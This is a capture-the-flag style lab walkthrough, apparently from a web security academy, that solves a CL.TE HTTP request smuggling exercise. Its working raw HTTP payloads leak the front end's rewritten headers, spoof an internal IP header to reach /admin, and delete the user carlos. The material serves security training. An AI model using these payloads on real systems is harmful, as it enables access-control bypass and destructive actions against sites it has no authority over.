Lab: Exploiting HTTP request smuggling to reveal front-end request rewriting

Browse to /admin and observe that the admin panel can only be loaded from 127.0.0.1.

Use the site's search function and observe that it reflects the value of the search parameter.

Use Burp Repeater to issue the following request twice.

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 124
Transfer-Encoding: chunked

0

POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
Connection: close

search=test

The second response should contain "Search results for" followed by the start of a rewritten HTTP request.

Make a note of the name of the X-*-IP header in the rewritten request, and use it to access the admin panel:

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 143
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-abcdef-Ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Connection: close

x=1

Using the previous response as a reference, change the smuggled request URL to delete the user carlos.

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 166
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
X-abcdef-Ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Connection: close

x=1